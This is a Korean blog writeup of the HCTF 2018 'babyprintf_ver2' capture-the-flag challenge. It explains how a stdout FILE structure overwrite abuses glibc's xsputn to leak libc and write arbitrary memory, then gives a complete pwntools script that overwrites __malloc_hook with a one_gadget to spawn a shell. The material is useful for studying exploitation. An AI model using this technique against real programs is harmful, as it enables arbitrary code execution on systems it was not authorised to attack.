hctf 2018 babyprintf_ver2
시작하자마자 pie
를 준다.
구체적인 동작을 분석해보자.
buf
에 512
까지 입력받을 수 있으며, 이는 bss
영역에 존재하는 stdout _IO_FILE_plus
구조체를 덮을 수 있다.
밑에서는 vtable
을 검사하여 변조되었는지 확인하고 변조되었다면 원래의 vtable
로 복구한다.
하지만 vtable
이 변조되어도 abort
루틴이 없다는 것을 명심하자.
__printf_chk
에서 format string
이 일어나지만, 릭은 불가능하다. 이유는 많다..
일단 chk
기 때문에 포맷 스트링 관련 문자열이 제한되어 있다.
올바른 stdout
구조체를 만들어주지 않으면 프로그램이 안돌아가기 때문이고, 또 제작자가 0xdeadbeef
를 엄청 넣어놔서 0x10
의 크기만큼 릭을 한다고 해도 볼 수 있는건 없다..
즉, fake stdout structure
를 만들어 leak
과 write
를 모두 진행하면 된다.
leak
은 별로 말할게 없고.. write
에 관해서 설명해보겠다.
printf
가 실행되는 과정은 printf_chk
-> vprintf
-> _IO_new_file_xsputn
이다.
_IO_new_file_xsputn
을 살펴 보자.
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
밑에서 __mempcpy(f->_IO_write_ptr, s, count)
를 실행시킴을 볼 수 있다.
조건은, (f -> flags & _IO_LINE_BUF) && (f -> flags & _IO_CURRENTLY_PUTTING)
가 충족되지 않으면 된다.
그러면 f->_IO_write_ptr
에 _IO_write_end - f->_IO_write_ptr
만큼 복사를 진행한다.
이를 이용하여 __malloc_hook
을 oneshot
으로 덮고, printf_chk
로 malloc
을 실행시키면 된다.
이들을 구현한 코드는 다음과 같다.
from pwn import *
#context.log_level= 'debug'
e = ELF('babyprintf_ver2')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('libc64.so', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
# Credits: https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0):
struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x88, "\x00")
struct += p64(_lock)
struct = struct.ljust(0xd8, "\x00")
return struct
def leak(where):
p = 'A' * 0x10
p += p64(pie + 0x20)
p += p64(0)
p += pack_file(_flags = 0xfbad2887,
_IO_read_end = where,
_IO_write_base = where,
_IO_write_ptr = where + 8,
_fileno = 1,
_lock = pie + 0x100)
s.sendline(p)
s.recvline()
return u64(s.recv(8))
def write(what, where):
p = p64(one)*2
p += p64(pie + 0x20)
p += p64(0)
p += pack_file(_flags = 0xfbad2887,
_IO_write_ptr = where,
_IO_write_end = where+6,
_fileno = 1,
_lock = pie + 0x100)
s.sendline(p)
ru('location to ')
pie = int(s.recv(14),16)# - 0x202010
log.info('pie: {}'.format(hex(pie)))
ru('fun!\n')
l_base = leak(pie+0xf8) - l.symbols['_IO_file_jumps']
log.info('l_base: {}'.format(hex(l_base)))
m_hook = l_base + l.symbols['__malloc_hook']
one = l_base + 0x4f322
log.info('one: {}'.format(hex(one)))
dump = '''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
write(one, m_hook)
sl("%66000c")
io()
ref
OpenToAll
@ https://ctftime.org/writeup/12124
'system > writeup' 카테고리의 다른 글
2019 hack.lu no_risc_no_future (0) | 2019.11.03 |
---|---|
2019 hack.lu tcalc (0) | 2019.11.01 |
2019 seccon monoid_operator (0) | 2019.10.27 |
holyshield 2019 masked_calculator (0) | 2019.10.27 |
dvp 2019 monica's bank + dvp 해킹대회&컨퍼런스 후기 (0) | 2019.10.22 |